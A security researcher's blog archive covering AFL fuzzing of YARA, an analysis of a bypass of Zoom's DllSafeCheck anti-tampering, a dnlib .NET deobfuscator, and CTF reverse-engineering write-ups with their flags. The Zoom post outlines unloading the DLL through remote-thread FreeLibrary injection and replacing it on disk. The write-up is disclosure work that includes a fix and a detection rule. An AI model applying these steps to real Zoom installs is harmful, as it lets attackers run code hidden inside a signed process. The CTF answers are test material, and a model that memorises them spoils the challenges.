10 May 2020

I’ve always been interested in fuzzing YARA to see if anything interesting would be produced. Whilst I didn’t manage to crash YARA when following the methodology that this post outlines whilst targeting the PE module – it’d be great to hear recommendations on how the process I followed upon could be improved on that I’ve made in my YARA fuzzing venture. We’ll be using the excellent american fuzzy lop (a.k.a. “AFL”) as the choice of fuzzer. If we were to find a parsing bug in YARA, it could possibly lead to code execution if a victim (in this case) runs our specially crafted executable through it. Fuzzing is a common method for finding vulnerabilities in software, in particular memory management vulnerabilities. It involves executing the target binary with various input values generated by the fuzzer, to test the program - the goal is to get it to crash.

YARA is a handy tool in the world of malware research, it enables researchers to classify files based on specific parameters such as a sequence of bytes, or format-specific attributes such as function imports in the Import Address Table (“IAT”). The aim of YARA rules is to identify files such as to classify malware samples. It was developed by Victor Alvarez of VirusTotal (“VT”) to identify familes of malware specifically. The YARA tool allows signature-based malware classification similar to AV products.

An example of a simple YARA rule to match a DLL which has the ASCII string "YARA example" and has a sequence of bytes: 0xDE, 0xEA, 0xAD can be observed below.

rule Exemplar
{
    meta:
        description = "A simple example of a YARA rule"
        author = "LloydLabs"

    strings:
        $ = "YARA example"
        $ = {DE EA AD}

    condition:
        all of them
}

When developing YARA rules, I highly recommend installing the YARA extension for Visual Studio Code – which can be found here. We have three sections, a meta section which contains any sort of metadata; a strings section which contains the patterns to match; and; the condition section which is used to define the conditions for the rule.

I wanted to target the PE module within YARA, which provides functionality to parse PE-specific fields. An example of this is accessing the DllCharacteristics flag within the OptionalHeader within the PE structure. At the same time, the rule will also check if the PE is a DLL. The module makes easy work of this - below, we can observe how this would be written within the condition section:

import "pe"

rule Exemplar
{
    condition:
        pe.is_dll() and pe.dll_characteristics & pe.DYNAMIC_BASE
}

In YARA 4.0, multiple new additions were made to the already extremely handy module. I wanted to target the following functions, and make sure we would have complete coverage of them all when the rule was hit:

pe.pdb_path
pe.exports_index(..)
pe.export_details(..)
pe.dll_name
pe.export_timestamp

The rule language which YARA is based on is parsed using GNU Bison, which is an extremely mature parsing generator which has been actively developed since the 1980s (not that this is any excuse). I thought the time would be wasted on targeting this aspect of YARA, and instead the fuzzing efforts would be more successful when targeting the PE parser that they implement themselves. All of the functionality for YARA is contained within libyara, the command-line version of YARA simply uses this library as an easy way to utilise it. Here, we can see the code for the PE module. Here is an example of the code within, which is responsible for parsing the PDB path:

if (yr_le32toh(cv_hdr->dwSignature) == CVINFO_PDB20_CVSIGNATURE)
{
  PCV_INFO_PDB20 pdb20 = (PCV_INFO_PDB20) cv_hdr;

  if (struct_fits_in_pe(pe, pdb20, CV_INFO_PDB20))
    pdb_path = (char*) (pdb20->PdbFileName);
}
else if (yr_le32toh(cv_hdr->dwSignature) == CVINFO_PDB70_CVSIGNATURE)
{
  PCV_INFO_PDB70 pdb70 = (PCV_INFO_PDB70) cv_hdr;

  if (struct_fits_in_pe(pe, pdb70, CV_INFO_PDB70))
    pdb_path = (char*) (pdb70->PdbFileName);
}

If we want to test all of these features, we need to design a YARA rule which hits all of the code paths which result in these new features being tested. Below, we can see the route that we want to take.

Some of the rules accepted different types of arguments (which can be seen in the documentation for the module), e.g. the pe.exports_index supports a string (e.g. pe.exports_index("DllRegisterServer")) and also the ordinal (e.g. pe.exports_index(1337)). We can achieve this by writing a rule to hit all of these conditions by simply using or between all of the different checks. The rule I came up with when fuzzing YARA was:

import "pe"

rule Fuzzawuzza
{
    condition:
        pe.pdb_path == "FUZZ" or pe.dll_name == "FUZZ" or pe.imports(/kernel32.dll/i, /(Read|Write)ProcessMemory/) == 2 or pe.exports_index(/^[email protected]@/) or pe.exports_index(72) or pe.exports_index("CPlApplet") or pe.export_details.name == "FUZZ" or pe.export_timestamp == 1337
}

We’ll then go ahead and save this rule as test_rule.yar for use further down the line. The objective of fuzzing in this instance was to crash YARA, my choice of fuzzer will be AFL by Google.

To do this we’ll feed AFL a legitimate PE binary which will be mutated and changed. First of all, as we have access to the source code of YARA due to it being open source, we need to instrument the binary. afl-gcc is based upon LLVM and a wrapper for GCC, and will inject code into the source code that it is compiling. This way, the fuzzer based on the inputs that it gives the program can find the best and most succesful code paths within the source code. An example of this in the context of YARA could be the initial verification of the file having the MZ header, AFL would work out that an invalid header leads to less code paths and hence less coverage of the program as a whole, this would then be reflected in the mutations that the fuzzer would take in the future. We could also fuzz without the source code, however it makes the fuzzing a lot faster as we can find relevant routes in the code that AFL should target based on it mutating the input file quicker.

First of all, we need a server. With the help of David Cannings, we managed to get a 16-core Google Cloud instance with 64GB of RAM. Fuzzing in the cloud isn’t always the most cost-efficient way to do it, however this was simply for a week. The distribution I’ll be using throughout this is Ubuntu 18.04.4 LTS (love it or hate it 😉). Next, we need to install AFL:

sudo apt install build-essential automake libtool make gcc pkg-config libssl-dev # this was a new box, we need this for make, etc.
wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz
tar -xvf afl-latest.tgz
cd afl-latest
sudo make install

Next, let’s go and grab the latest YARA release from GitHub and install it in this case, 4.0.0. We’ll then run afl-gcc against it, which will instrument it ready to be fuzzed by afl-fuzz.

# Pull down YARA
wget https://github.com/VirusTotal/yara/archive/v4.0.0.tar.gz
tar -xvf v4.0.0.tar.gz
cd v4.0.0.tar.gz

# Set our default compiler in the current env to afl-gcc
CC=afl-gcc

# Install YARA
./bootstrap.sh
./configure
sudo make install

# For some reason, libyara isn't found, we need to add it to our LD_PRELOAD path
sudo echo "/usr/local/lib" >> /etc/ld.so.conf
ls -la /etc/ld.so.conf

We now have YARA setup on our machine:

$ yara -v
4.0.0

AFL documents some performance tips here, which I applied to the current instance in order to maximise the efficiency when fuzzing. It doesn’t really matter in terms of anything else, as this instance is simply for fuzzing. Looking at the AFL documentation, the following command line arguments are given as a boilerplate:

./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@ [..params..]

OK, so in our case. We need a PE file in our input (-i) directory, and our /path/to/program needs to be simply yara. The @@ detonates the PE file that AFL will be mutating to fuzz YARA. We’ll just take the classic calc.exe from Windows to base the mutations on.

YARA takes the following arguments when it wants to scan a file:

yara [rule] [file_path]

Our rule, as abovementioned, as already been configured and is saved as test_rule.yar. So, putting this together we get:

mkdir yara_in # Input directory
afl-fuzz -i yara_in -o yara_out yara test_rule.yar @@

Now, AFL has started, and we’ve got this screen:

What, 203.9 executions per second seems a bit slow for a 16 core machine. Let’s go check htop, and see if all of the cores are being used:

OK, not at all. It’s only using one core, which is strange. I thought at first AFL would utilise all of the resources on the system unless told otherwise, but looking at the documentation it says:

Every instance of afl-fuzz takes up roughly one core. This means that on multi-core systems, parallelization is necessary to fully utilize the hardware. For tips on how to fuzz a common target on multiple cores or multiple networked machines, please refer to Tips for parallel fuzzing.

I came across this tool named afl-launch on GitHub here, which allows us to easily launch multiple fuzzers in parallel. Since AFL uses about one core per instance, we’ll want to spin up 16 instances of it. It requires Go, so lets set it up:

sudo apt install golang-go
go get -u github.com/bnagy/afl-launch

Now we’ve set up afl-launch for our user, we need to execute it. Instead of using an output drive when running a single instance of AFL, the directory is called a sync drive, where the subdirectories are that of running AFL instances in parallel.

afl-launch -n 16 -i yara_in -o yara_out yara test_rule.yar @@

Finally we’re using all of that cores that are avaliable at our disposal:

Unlike running a single instance of AFL, which shows us the abovementioned output screen, we can’t do this when fuzzing in parallel. Luckily, afl-whatsup exists. Running this tool and pointing it at our sync directory will show the status of all of the fuzzers. We’ll execute it through watch, which will execute the commands by default every 2 seconds - giving us somewhat of a live update of the status.

watch afl-whatsup yara_out

If you want to pause the fuzzing process across all of your instances, I’d recommended using afl-pause from afl-trivia by Ben Nagy. He’s developed a bunch of awesome scripts which can help you control your AFL instances when they’re running in parallel. To pause the fuzzing process, all you need to do is his pause script: afl-pause <sync_directory>.

During the fuzzing process, as mentioned, AFL will mutate our input file and craft it based on the best route through the program it can find. The process, as detailed in their README.md, goes along the lines of:

Unfortunately, after 1.2 billion executions of YARA, we failed to crash it. So, kudos to the YARA development team and for all of their hard work over the years maintaining such a staple of a tool! I hope this wasn’t too boring and gave you a small introduction to the world of fuzzing, and things you may come across when setting up your fuzzing environment.

Future Work

To demonstrate fuzzing techniques at a later stage, I am going to work on a project named Damn Vulnerable File Parser - a very vulnerable (hence the name), file parser written in C to demonstrate with ease how programs can be fuzzed and lead to them crashing. We could also target older versions of YARA, which are likely to still be in use by organisations and fuzz to find crashes which haven’t already been patched in those versions.

I’m new to using AFL, and fuzzing YARA-like projects in general - if there’s anything that I could’ve changed in my approach in fuzzing YARA please let me know! I’m contactable on Twitter or at [email protected]. I’d be happy to take on any recommendations!

re yara

03 Apr 2020

Introduction

This quick blog post highlights some of the flaws found in the Zoom application when attempting to do integrity checking, these checks verify that the DLLs inside the folder are signed by Zoom and also that no 3rd party DLLs are loaded at runtime. We can trivially disable this DLL, by replacing it with our own or simply unloading it from the process.

This post highlights how we can bypass Zoom’s anti-tampering detection, which aims to stop DLLs from being loaded or existing ones modified. The functionality is all implemented by Zoom themselves within a DLL named DllSafeCheck.dll.

I have also included a YARA rule at the end of this blog post, in case this technique is used by an advisory in the future.

I’ll cover these flaws:

  • The DLL is not pinned, meaning an attacker from a 3rd party process could simply inject a remote thread, and call FreeLibrary after getting a handle to the DLL.
  • Ironically while all the DLLs checked by the anti-tampering DLL MUST have a valid Microsoft Authenticode signature to pass the checks, the anti-tampering DLLs integrity or signing status are NOT checked at all. This seems like an oversight from the Zoom developers considering all the checks that are currently performed in the DllSafeCheck DLL.

Zoom Client

Zoom is entirely programmed in C++ and makes heavy use of the Windows API. The executable and the DLLs that are used are installed to %APPDATA%\Zoom\bin and is completely writeable. All of the executables that are used are signed by Zoom themselves, as we can see below when extracting the certificate.

PS AppData\Roaming\Zoom\bin_00> Get-PfxCertificate util.dll

Thumbprint                                Subject
----------                                -------
0F9ADA46756C17EFFFD467D10654E2A766566CB3  CN="Zoom Video Communications, Inc.", O="Zoom Video Communications, Inc.", L=San Jose, S=California, C=US, SERIALNUMBER=4969967, OID.2.5.4.15=Pr...

Most of the functionality within Zoom resides within the DLLs. Below, we can see the DLLs which are included within the export table. Take notice of the DllSafeCheck.dll; the is the library we will be analysing.

Looking further at the use of DllSafeCheck.dll, we can see that it exports a function named HackCheck.

If we then cross-reference the calls to this function using our favourite disassembler, IDA in this instance, we can see that it is called at the entry point of the program within WinMain before any other operations are completed. Below, we can see the function prologue and the immediate call to HackCheck.

DllSafeCheck.dll

As abovementioned, the Zoom client will call the HackCheck function (which is the only export from the DLL, apart from DllMain), upon execution. Two events are created to detect the loading and unloading of the DLL, by resolving LdrUnregisterDllNotification and LdrRegisterDllNotification to register it.

To start, the export first starts by verifying that it is not running on an old version of Windows, using a mixture of VerSetConditionMask and VerifyVersionInfoW. After the Windows version has passed these checks, it will continue execution. It then will gather the Windows process token information through the usual means of getting a handle for the current process, then calling GetTokenInformation. This data is then saved for further use.

A path to Zoom’s %APPDATA% folder is then constructed, and a log file named dllsafecheck.txt is created. A thread is then created, which waits for log events to be sent to it. Below, we can see the creation of this file.

We then get to the core functionality of the DLL, which is scanning the modules which are loaded in the current process and making sure that they’re signed by Zoom. It will gather a list of the modules, and then check to see if they are signed, below, we can see the enumeration of the certificate chain to check against the hardcoded Zoom Video Communications, Inc. string.

if ( v10->csCertChain )
{
    do
    {
        v12 = WTHelperGetProvCertFromChain(v10, v11);
        if ( !v12 )
            break;
            
        v13 = v12->pCert;
        if ( v13 )
        {
            v15 = CertGetNameStringW(v13, 4u, 0, 0, 0, 0); // get alloc len
            v16 = v15;
            if ( v15 )
            {
                v14 = HeapAlloc(NULL, 0, 2 * v15);
                if ( v14 )
                {
                    v20 = 0;
                    do
                    {
                        v14[v20++] = 0;
                    }
                    while (v20 < (2 * v15));

                    if (!CertGetNameStringW(v13, 4u, 0, 0, (LPWSTR)v14, v16))
                    {
                        HeapFree(NULL, 0, v14);
                        v14 = 0;
                    }
                }

                v10 = v26;
            }
            else
            {
                v14 = 0;
            }
        }
        else
        {
            v14 = 0;
        }

    if ( !v25 )
        v25 = L"Zoom Video Communications, Inc.";

If the executable is not signed by Zoom, it will prompt the user to ask if it wants it to be run in the process.

Trivial to unload from process

Ironically while all the DLLs checked by the anti-tampering DLL must have a valid Microsoft Authenticode signature to pass the checks, the anti-tampering DLLs integrity or signing status are not checked at all. This seems like an oversight from the Zoom developers considering all the checks that are currently performed in the DllSafeCheck DLL.

An immediate issue is that this DLL can be trivially unloaded, rendering the anti-tampering mechanism null and void. The DLL is not pinned, meaning an attacker from a 3rd party process could simply inject a remote thread, and call FreeLibrary after getting a handle to the DLL.

One possible fix for this would be to perform GetModuleHandleExA, and passing in the GET_MODULE_HANDLE_EX_FLAG_PIN flag. This ensures that the module stays loaded within the process until it terminates, rendering FreeLibrary calls useless.

HMODULE hSafeCheck = NULL;
if (GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_PIN, "DllSafeCheck.dll", &hSafeCheck))
{
    // Loaded module successfully
}

We can unload it using the traditional, and well-documented method of: 1) HANDLE of Zoom process using OpenProcess 2) Enumerate the loaded modules in the process, using EnumProcessModules, and find a handle to DllSafeCheck.dll 3) Resolve the address of “FreeLibrary” using GetProcAddress 4) Create a thread in the process using CreateRemoteThread, with the starting routine as the FreeLibrary address, and the parameter as the handle to DllSafeCheck. 5) The anti-tampering DLL is now unloaded 6) We can now inject any DLL we want

I’ve created simple POC (basic CreateRemoteThread DLL injection, nothing fancy) for unloading the anti-tampering DLL and injecting our own. You can contact me at [email protected] if you want to see it.

Anti-tampering DLL can be replaced on disk

When loading the DLL, Zoom does not check the signature of the integrity of the file. I’m not sure why this is not checked at all, considering all of the checks which are done in the DllSafecheck DLL regarding executable signature vertification. This remains a mystery. A threat actor could leverage this to enable their unsigned, non-Zoom DLL to be loaded into the context of a signed executable as a host for their malicious code.

The folder which Zoom resides in is writeable, which also contributes to this attack.

A simple DLL named DllSafeCheck.dll can be compiled implementing the HackCheck export. For clarity, the malicious DLL which is used is not signed. We can see the result of querying the executable signature below.

PS AppData\Roaming\Zoom\bin_00> Get-AuthenticodeSignature DllSafeCheck.dll

SignerCertificate                         Status                                 Path
-----------------                         ------                                 ----
                                          NotSigned                              DllSafeCheck.dll

The following code was used for this PoC:

VOID __declspec(dllexport) CheckHack()
{
	MessageBox(NULL, L"LloydLabs", L"Oops!", MB_APPLMODAL);
}

Here, we can see the the alert when loading Zoom.

How could a threat actor realistically exploit this?

A malicious DLL could be bundled with Zoom, and sent to a victim - this would result in the payload (e.g. Cobalt Strike), being executed under the context of the Zoom process. A threat actor could also abuse these issues to persist both across reboot and in memory on a target system, this is a much cleaner approach compared to the alternatives of registering some startup event.

YARA rule

import "pe"
rule Zoom_Plant {
    meta:
        date = "2020-04-03"
        author = "LloydLabs"
        url = "https://blog.syscall.party"
	
    condition:
        pe.characteristics & pe.DLL and pe.exports("HackCheck") and pe.number_of_exports == 1 and (pe.issuer contains "Zoom Video Communications, Inc.")
}

Conclusion

Thank you for reading this brief blog, if you wish to contact me I can be emailed at: [email protected] - I’m a 3rd year undergraduate student, and open to opportunities and collaboration. Cheers!

zoom re ida

18 Nov 2019

Introduction

When a threat actor wishes to circumvent analysis from a reverse engineering standpoint, a common technique utilised by the attackers is to obfuscate their malicious code. This can be done in several ways and may include control flow obfuscation (making the flow of the program confusing, random jumps..), string obfuscation (not having text in plain sight, may be encrypted, encoded..), junk code (pointless code which does nothing, merely a way to confuse analysts), object renaming (renaming objects within the code from their original, e.g. MainService may become OQuXiqmXq throughout the code). To get around this, you can create your own tooling to deobfuscate binaries and strip them of these circumventions automatically. This is easier to achieve when managed code is involved as they’re typically much more comfortable to manipulate, for .NET we’ve got dnlib, and for Java, we have ASM.

The abovementioned libraries make it much easier to manipulate and change executables, in this post we’ll be writing a simple .NET deobfuscator using dnlib against a prolific RAT (“Remote Administration Tool”) - this can easily be extended and changed to suit your needs based on the challenges you face with a specific managed executable. I have mimicked the protections which we’d see in this RAT for the purpose of this writeup.

By the end of this, we’ll have a working deobfuscator which will strip some of the protections that the attacker has applied to the .NET assembly.

The steps we’ll take

Everyone loves diagrams, right? This is a basic breakdown of the process we’ll take to achieve deobfuscation.

Initial static code analysis

Taking a look at the executable, it employs an extremely basic class, and method obfuscation technique of using a randomly generated 10 character string prepended to all of the declarations. The strings are obfuscated strangely, containing a ‘|’ character they’re split by using the main string used throughout - so we’ll have to do some instruction patching too to get rid of this and split it ourselves. You can download the executable from here that we’re going to use as an example - please note, it’s just full of useless code.

Using dnSpy, we can easily open the binary and recover the source code from the .NET assembly. If you’ve not already got dnSpy, you can get it from here. Opening it in dnSpy, we see the following structure:

As previously mentioned, I’ve created the scenario where the module name is prepended as a way for obfuscation. Looking at one of these classes deeper, we can see the other obfuscation techniques that were mentioned:

We can see all of the methods within the above class have the string appended to them, along with the strings within the binary being split by the | character.

Writing the deobfuscator

You’ll need to install dnlib, the easiest way to achieve this is using Nuget which is within Visual Studio (Projects -> Add Nuget Package -> Browse). We’ll create a Console Application, using C# as our language choice and create a basic skeleton in which a user can pass in an input assembly and output one.

Our basic process is going to be:

  • Grab the encoded string based on the PE timestamp
  • Rename all of the classes back to their original
  • Rename all of the methods within the classes back to their original names

Let’s start by creating a new console C# project in Visual Studio, import the namespaces we need, and make a basic boilerplate for passing in two arguments. The first argument being the executable we want to deobfuscate, and the second the path we want to output to.

using System;
using dnlib.DotNet;
using dnlib.DotNet.Emit;

Next, let’s get to using dnlib. We’ll want to pass in our path to the library as a module, an executable, and attempt to load it. As seen in the initial static analysis stage, the module name is AfmAcgnNGYtN9H. So, we’ll gather the assembly name at the same time. Where fullPath is the variable name of the path to the executable.

var module = ModuleDefMd.Load(fullPath);
if (module == null)
{
    return;
}

string moduleName = module.Assembly.Name;

We can then call the GetTypes to get a collection of all of the types that exist in the module, this will return classes, functions, body of functions and more. As we saw in the static analysis of the executable, all of the classes and methods had the unique string prepended to them, along with the string obfuscation being present within some of these methods. We’ll start by simply renaming all of the ‘types’ (classes, methods, etc.) back to their original, human-readable name.

What’s beautiful about dnlib is that it’ll automatically rename the method across the entire assembly, so we don’t need to cross-reference calls to it and manually change everything.

foreach (var type in module.GetTypes())
{
    if (type.Name.Contains(moduleName)) // does our method name contain the bad string?
    {
        method.Name = Method.Name.Replace(moduleName, string.Empty); // replace with nothing
    }
    ...

After this, all of the methods will now be renamed like so:

AfmAcgnNGYtN9HGetCount -> Functionality
AfmAcgnNGYtN9HBadServer -> BadServer
..and so on

That part was relatively easy, right? Let’s move onto removing the string obfuscation which is contained within the binary. As abovementioned, all of the obfuscation when it comes to strings looks like this:

string realString = "Hello world!|AfmAcgnNGYtN9H".Split('|')[0];

We’ll need to edit the assembly manually, finding the Common Intermediate Language (“CIL”) instructions that are responsible and remove them. When a string is concerned, the ldstr OpCode is used with the first and only operand being the string we want to load. We can further look at this in dnSpy, if we select Edit IL assembly within the method body. For example, this function here:

private static string AfmAcgnNGYtN9HMalicious()
{
	return "This is a bad string|AfmAcgnNGYtN9H".Split(new char[]
	{
		'|'
	})[0];
}

Will look like this in CIL operations when we disassemble it:

We’ll want to keep the original string which is This is a bad string - we’ll achieve this by splitting the string ourselves and NOP’ing out the rest of the string splitting. When we NOP something, we’re effectively telling the Common Language Runtime (“CLR”) to do nothing. As a resource for a complete list of instructions that’re implemented, you can find them here.

We’ll want to NOP the next 9 sets of opcodes after the ldstr instruction when we find it in the body of a method to produce something like this:

Which, in actual code terms, produces this:

private static string AfmAcgnNGYtN9HBadServer()
{
	return "This is a bad string";
}

So, going back into writing the obfuscator - we’ll want to keep in the loop where we’re going through each type however add a new one within it. After this, we’ll go each method and check if it has a body (code), then continue to iterate over each of the instructions within there until we find an ldstr instruction. To verify the string has been obfuscated, we’ll then check if it’s being split by the predefined string (AfmAcgnNGYtN9H) and remove the splitting logic.

...
foreach (var method in type.Methods)
{
    if (!method.HasBody) // does the method contain code?
    {
        continue;
    }

    for (int i = 0; i < method.Body.Instructions.Count; i++)
    {
        if (method.Body.Instructions[i].OpCode != OpCodes.Ldstr)
        {
            continue;
        }

        string originalStr = method.Body.Instructions[i].Operand.ToString();
        if (string.IsNullOrEmpty(originalStr))
        {
            continue; // for some reason, we can't recover the string. Let's keep going.
        }

        // split by the garbage that's added
        string[] parts = originalStr.Split("|AfmAcgnNGYtN9H");

        // check the garbage is there
        if (parts.Len != 2)
        {
            continue;
        }

        // ok, we've found a bad string, lets change our old one over to our recovered string
        method.Body.Instructions.Insert(i, new Instruction(OpCodes.Ldstr, parts[0]));

        // now, lets remove the next 9 set of opcodes and replace with them a NOP
        for (int j = 0; j < 9; j++)
        {
            method.Body.Instructions[i + j] = OpCodes.Nop;
        }

        // increment our opcode counter
        i += 9;
    }
}

Finally, we’ll want to write the modified assembly back to an executable (where outPath is our path we want to write to). This will save all of our changes we’ve made.

module.Write(outPath);

We now have a deobfuscated binary. You can easily do much, much more with dnSpy - I thought I’d create this for those wondering where to start.

Conclusion

The library we’re using, dnlib, is extremely powerful and easy to use. Although de4dot is extensive in its deobfuscation efforts you may wish to do something further with deobfuscation. Anyway, I hope by reading this you learnt something. For now, ciao!

If you’ve got any questions, feel free to email me: [email protected]

obfuscation malware re dnlib analysis

02 May 2019

Introduction

This year for ENUSEC’s LTDH (“Le Tour Du Hack”) I was tasked with writing the reverse engineering challenges needed for the CTF aspect of the event. Last year I also wrote the reverse engineering challenges which were used, so built on the feedback that I received. However, this year I attempted to make the challenges a bit easier to capture the interest of contestants that were new to the field. If you’ve got any questions feel free to pop me a message on Twitter @LloydLabs or e-mail [email protected].

Go Fetch

I’m going to be using IDA for this writeup in conjunction with the Golang helper plugin which can be found here. We’re also given a file named fetch.dat to solve this challenge along with the executable. We can see main_main which is obviously the entry point. If we run the application we get this:

ENUMEME - Enter a string to be superly hidden using a top secret routine:

Ok, so it’s asking for user input. By looks of the message printed it seems as if it’ll possibly encrypt or encode a string in one way or another. Just for the sake of this walkthrough I’m going to reference the IDA pseudocode output (to get this view from graph or inline view, press F5) as the Golang compiler adds a lot of instructions for the runtime’s sake.

For reverse engineering reference, when we import a Go package when developing an application, and a method is called within that package (for example, fmt.Printf), the exported method will look something like: <package>_method in the binary’s function table. For example, fmt.Printf would look like fmt_Printf in disassembly. The variables passed on the left are internally used by Go. In the decompiled pseudocode view we can see our call which prints the following to the console:

fmt_Printf(a1, a2, a3, v6, a5, a6, (__int64)aEnumemeEnterAS, 73LL); aEnumemeEnterAS -> ENUMEME - Enter a string to be superly hidden using a top secret routine:

Then, we can see this input being read from STDIN:

bufio___Reader__ReadString((__int64)&v42, (unsigned __int64)&v35, v13, v14, v15, v16, (__int64)&v41);

The variable v42 is our output which has been read from STDIN, for analysis sake we’re going to change the name of this variable within IDA by pressing n whilst the variable is selected and changing the name to encrypted_string_input. We can then see this being fed into a method named encode within the main package. It seems as if we’re calling an instance of FetchCtx within main and calling Encode from it:

main___FetchCtx__Encode(
    (__int64)&encrypted_string_input,
    (__int64)&v35,
    (__int64)&v30,
    v27.m256i_i64[1],
    v17,
    v18,
    (__int64)&v30,
    v27.m256i_i64[1],
    v27.m256i_i64[2]);

In Go, the prototype for Encode will look something like this:

func (ctx *FetchCtx) Encode(data string) []byte

Let’s take a look at the encode routine. Upon inspection, an instance of zlib.NewWriter is created, then the input (in this case, our encrypted string) is compressed, as observed here:

compress_zlib___Writer__Write(a1, a2, *(__int64 *)&v44[32], v14, v15);
compress_zlib___Writer__Close(a1, a2, v16);

An instance of aes.NewCipher is then created, through taking a look at the Go documentation for this function it seems as if we input a byte array as the input which is the key. You can view the documentation for the aes library here. Let’s take a look at the generated pseudocode again:

runtime_stringtoslicebyte(a1, byte_arr_key, v20, i, v15, v16);
*((_QWORD *)&v24 + 1) = *((_QWORD *)&v35 + 1);
*(_QWORD *)&v24 = v35;
v33 = v35;
crypto_aes_NewCipher(a1, byte_arr_key, v24, v25);

The Go runtime converts a string to a byte array internally using the runtime_stringtoslicebyte. In Go, this looks something like: byteArr := []byte("syscall.party"). We can see that an array of bytes at 0x4DA5A4 is being converted. For analysis sake, lets go and rename dword_4DA5A4 to byte_arr_key.

lea     rax, dword_4DA5A4
mov     qword ptr [rsp+108h+var_108+8], rax
mov     qword ptr [rsp+108h+var_108+10h], 10h
call    runtime_stringtoslicebyte

We know this is a string, so let’s press R in IDA and select the bytes, this will convert it to the character equivalents:

Great. If it’s strange to you that this is not null terminated, this is the way that Go stores strings for optimisation purposes (if it’s small enough) - plus, internal methods will always pass the length of a buffer, meaning no need for a null terminator. We then need to reverse the order as it’s in little endian, this is when the byte order is essentially “flipped”. For example, “flipped” would become deppilf. After converting it from little endina, this then gives us a string of DER_DIE_ODER_DAS - a German phrase. So, we’ve recovered our encryption key, what’s next? We need to find the nonce that’s being used in the decryption, we can see seal is being called on our Cipher context.

We can then see main_statictmp_0 within the binary indicating an array of bytes. This is the way that Go stores static data within binaries. Let’s export this data, we can do this by highlighting the bytes then doing SHIFT + E which gives us this:

01 02 03 04 05 06 07 09 10 11 12

Ok, so this is our nonce. This would look something like this in Go:

nonce := []bytes{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}

Let’s now recap on what we’ve observed so far being done. It’s compressing the data using zlib, encrypting the data using AES with a key of DER_DIE_ODER_DAS and a nonce of 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12.

What about the file, fetch.dat we were given at the start? Taking a look at the content in HxD we can see it looks like simply a collection of random bytes which have no purpose, nor identifiers such as file magic:

Could this file of have been encrypted using this algorithm? Let’s find out, all we need to do is the reverse of what the algorithm above does. So let’s load the file in, decrypt it, then decompress it. We can do this in any programming language of our choice.

  1. Load the target file
  2. Decrypt the target file using the found parameters above
  3. Decompress the target file using standard zlib parameters
  4. Profit???

After following our desried methodology we’ve developed, the flag renders as:

ltdh{99754106633f94d350db34d548d6091a}


Secrecy

This challenge had the theme of a GCHQ “secure” login portal, with inputs for username and password. We can identify that it’s a .NET executable by simply throwing it into DiE which aids in identifying packers, compilers and languages used - I highly recommend you add it to your toolset if you’ve not got it already!

In order to decompile the .NET binary from CIL bytecode to readable sourcecode we’re going to use dnSpy - a great .NET disassembler, debugger and editor. Open the target file we’re looking at in dnSpy via the menu pane File -> Open - the assembly then will appear in the left hand menu view.

When a user wishes to login and clicks the Login button, the button1_click event handler is triggered:

private void button1_Click(object sender, EventArgs e)
{
  if (new Login(this.textBox1.Text, this.textBox2.Text).Verify())
  {
    Clipboard.SetText(Carrots.Decrypt());
    this.toolStripStatusLabel1.Text = "Status: OK login - copied flag to clipboard!";
    return;
  }
  this.toolStripStatusLabel1.Text = "Status: Bad login!";
}

We can see that to verify that our input login credentials are correct in some way or another, the Login class is called within the event handler - with the username and password as the respected inputs. Then, if the login is OK the method Decrypt will be called on the class Carrots with the output being copied to the current user’s clipboard. Let’s take a look at the Carrots class.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Secure_Login
{
	public static class Carrots
	{
		public static string Decrypt()
		{
			string result = "";
			byte[] array = Convert.FromBase64String("dATxa6TBMbpCztJwNiJfBQpCaIVQ0XjTg6lBMyJqym+Kyy0nm3SjyqYwGR2RJLLxkCbMFHQ3D95JD8tEaAYNIA==");
			using (Aes aes = Aes.Create())
			{
				Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes("HALLO_HANS_DU_HUND", new byte[]
				{
					73,
					118,
					97,
					110,
					32,
					77,
					101,
					100,
					118,
					101,
					100,
					101,
					118
				});
				aes.Key = rfc2898DeriveBytes.GetBytes(32);
				aes.IV = rfc2898DeriveBytes.GetBytes(16);
				using (MemoryStream memoryStream = new MemoryStream())
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
					{
						cryptoStream.Write(array, 0, array.Length);
						cryptoStream.Close();
					}
					result = Encoding.Unicode.GetString(memoryStream.ToArray());
				}
			}
			return result;
		}

		private const string 我们必须飞向月球并返回 = "dATxa6TBMbpCztJwNiJfBQpCaIVQ0XjTg6lBMyJqym+Kyy0nm3SjyqYwGR2RJLLxkCbMFHQ3D95JD8tEaAYNIA==";
	}
}

It seems to be a routine which uses the native Aes wrapper for .NET using the key HALLO_HANS_DU_HUND (this can be observed being passed to Rfc2898DeriveBytes). The class is also obfuscated to a small extent to try and trick any budding CTF player. We can also see that the base64 string under the variable 我们必须飞向月球并返回 is set to be decrypted with this seen key. So, what could we do from here? We could extract this decompiled code from the binary and decrypt the flag ourselves using it, however we could look further into the program without going this far.

public bool Verify()
{
  string a = this.HashPassword();
  foreach (KeyValuePair<string, string> keyValuePair in AuthenticationPairs.logins)
  {
    if (this.username == keyValuePair.Key && a == keyValuePair.Value)
    {
      return true;
    }
  }
  return false;
}

The password input field is hashed with MD5 then compares it against a list of valid logins in the AuthenticationPairs static class. The implementation of this class is small and simply compares the username and password against a Dictionary<...> defined in the AuthenticationPairs class. Let’s take a look at the definition of logins.

internal static class AuthenticationPairs
{
  public static Dictionary<string, string> logins = new Dictionary<string, string>
  {
    {
      "Churchhill",
      "4ca9d3dcd2b6843e62d75eb191887cf2"
    },
    {
      "GCHQ-Admin",
      "cde2fde1fa1551a704d775ce2315915d"
    }
  };
}

Nice, we’ve got username and hash pairs. A quick lookup of the MD5 hash 4ca9d3dcd2b6843e62d75eb191887cf2 returns war. On submission, we get told by the program that the password is correct. The flag is copied to the clipboard as: ltdh{ouch_that_was_easy}

Zeucquences

Again, we’ve got a .NET executable. However, this time it is a lot more obfuscated with junk code, variable name obfuscation using random Unicode characters and method obfuscation. We can see in Main what’s being done:

private static void Main(string[] args)
{
	象会典光県思分.漂亮的裤子("Give me a sequence to unlock the magic string - ✧・゚: *✧・゚:*");
